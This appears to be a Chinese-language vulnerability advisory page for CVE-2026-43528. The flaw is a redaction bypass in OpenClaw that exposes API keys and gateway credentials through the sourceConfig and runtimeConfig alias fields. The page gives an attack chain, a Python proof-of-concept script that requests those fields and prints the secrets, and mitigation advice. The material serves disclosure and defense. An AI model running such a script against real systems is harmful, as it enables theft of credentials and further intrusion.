IPBUF安全漏洞报告
English
CVE-2026-43528 CVSS 6.5 中危

CVE-2026-43528 OpenClaw配置信息泄露漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-43528
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

信息泄露OpenClawCVE-2026-43528脱敏绕过配置安全

漏洞概述

OpenClaw在2026.4.14之前的版本中存在一个敏感信息绕过漏洞。由于系统未正确处理sourceConfig和runtimeConfig别名字段,经过身份验证的网关客户端可以利用该漏洞获取本应被编辑的敏感数据。攻击者只需拥有配置读取权限,即可窃取提供商API密钥、网关认证凭证和通道凭证,导致机密性严重受损。

技术细节

该漏洞的技术根源在于OpenClaw数据处理层对敏感字段的过滤机制存在逻辑盲区。在常规流程中,系统会识别敏感键值(如密钥、凭证)并执行脱敏替换。然而,当系统处理包含sourceConfig和runtimeConfig别名的请求时,数据直接从底层存储序列化返回,绕过了应用层的脱敏中间件。拥有配置读取权限的攻击者可以通过构造特定的API查询,强制系统返回包含这些别名的完整数据结构。由于这些别名字段直接引用了原始的、未经过滤的配置对象,攻击者能够直接提取提供商的API密钥、网关认证材料及通道凭证,从而完全绕过了预期的安全控制措施,导致严重的信息泄露风险。

攻击链分析

STEP 1
步骤1:获取低权限访问
攻击者注册或获取一个OpenClaw网关客户端的低权限账户,该账户拥有配置读取权限。
STEP 2
步骤2:识别敏感接口
攻击者分析API端点,寻找返回配置信息的接口,并确定其支持字段查询或别名引用。
STEP 3
步骤3:构造恶意请求
攻击者构造特定的请求参数,明确要求返回sourceConfig和runtimeConfig字段,这两个字段是绕过脱敏机制的关键。
STEP 4
步骤4:获取敏感数据
服务器处理请求时,忽略了针对这两个别名的脱敏逻辑,直接返回包含明文API密钥和认证凭证的原始配置数据。
STEP 5
步骤5:数据窃取与利用
攻击者解析返回的JSON数据,提取提供商API密钥和凭证,用于进一步攻击系统或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration endpoint (Hypothetical based on vulnerability description) TARGET_URL = "https://<openclaw-host>/api/v1/gateway/config" # Attacker's authenticated token (Low privilege required) AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." def exploit_redaction_bypass(): headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # The vulnerability is triggered by specifically requesting alias fields # 'sourceConfig' and 'runtimeConfig' which bypass the redaction logic payload = { "query": "{ gatewayConfig { sourceConfig runtimeConfig } }" } # Alternatively, if REST API parameters are used: params = { "fields": "sourceConfig,runtimeConfig" } print("[*] Attempting to exploit CVE-2026-43528...") try: # Sending request to fetch config with specific alias fields response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10) if response.status_code == 200: data = response.json() # Check if unredacted secrets are present if "sourceConfig" in data or "runtimeConfig" in data: print("[+] Successfully bypassed redaction logic!") print("[+] Extracting sensitive data:") # Displaying the sensitive keys found if 'sourceConfig' in data: print(json.dumps(data['sourceConfig'], indent=2)) if 'runtimeConfig' in data: print(json.dumps(data['runtimeConfig'], indent=2)) print("[+] Potential secrets exposed: API Keys, Auth Materials.") else: print("[-] Alias fields not found or already patched.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": exploit_redaction_bypass()

影响范围

OpenClaw < 2026.4.14

防御指南

临时缓解措施
如果无法立即升级,应严格限制配置读取API的访问权限,仅允许核心管理员账户访问。同时,部署Web应用防火墙(WAF)规则,检测并阻断包含sourceConfig或runtimeConfig字段的异常API请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表